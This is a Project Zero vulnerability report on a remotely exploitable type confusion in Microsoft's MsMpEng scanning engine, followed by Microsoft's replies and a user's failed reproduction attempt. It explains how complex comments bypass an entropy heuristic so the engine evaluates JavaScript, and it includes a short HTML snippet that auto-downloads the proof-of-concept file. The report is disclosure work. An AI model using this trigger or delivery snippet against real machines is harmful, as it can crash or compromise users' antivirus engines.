Before executing JavaScript, mpengine uses a number of heuristics to decide if evaluation is necessary. One such heuristic estimates file entropy before deciding whether to evaluate any javascript, but we've found that appending some complex comments is enough to trigger this.
The attached proof of concept demonstrates this, but please be aware that downloading it will immediately crash MsMpEng in it's default configuration and possibly destabilize your system. Extra care should be taken sharing this report with other Windows users via Exchange, or web services based on IIS, and so on.
As mpengine will unpack arbitrarily deeply nested archives and supports many obscure and esoteric archive formats (such as Amiga ZOO and MagicISO UIF), there is no practical way to identify an exploit at the network level, and administrators should patch as soon as is practically possible.
We have verified that on Windows 10, adding a blanket exception for C:\ is enough to prevent automatic scanning of filesystem activity (you can still initiate manual scans, but it seems prudent to do so on trusted files only, making the action pointless).
This vulnerability was discovered by Natalie Silvanovich and Tavis Ormandy of Google Project Zero.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Update from Microsoft.
------------
Hello Tavis,
We have successfully reproduced the issue that you reported to us. We will be finishing our investigation and determining if we will address it in a security release.
Please let me know if you have any additional information that could impact the investigation, or if you have any questions.
------------
Quick second update:
---------
Hi Tavis,
Just wanted to let you know that we are working on fixing this issue. I will continue to provide status updates as they become available.
Thanks again for reporting security issues to Microsoft responsibly and we appreciate your effort in doing so.
----------
Summary: MsMpEng: Remotely Exploitable Type Confusion in Windows 8, 8.1, 10, Windows Server, SCEP, Microsoft Security Essentials, and more. (was: MsMpEng: Remotely Exploitable Type Confusion in Windows 8, 8.1, 10, Windows Server, ForeFront, Microsoft Security Essentials, and more.)
Two clarifications from Microsoft,
1. Defender is not supported on Windows Server platforms except Server 2016.
2. On the latest platforms, RCE risk should be lowered due to CFG (on platforms where CFG is in effect).
I tried to reproduce, but MsMpEng did not crash, running on windows 10 x64 on VirtualBox
Testcase:
- Create a sample.html with the code:
<a href="testcase.js" download id=link>
<script>
document.getElementById("link").click();
</script>
- Downloaded the "nscript-type-confusion.zip", changed extension to ".js" and renamed to testcase.js
- From Windows 10 i have used Edge Explorer.
- Watch for MsMpEng.exe in TaskManager but it did not crash.
I did not update the patch from MS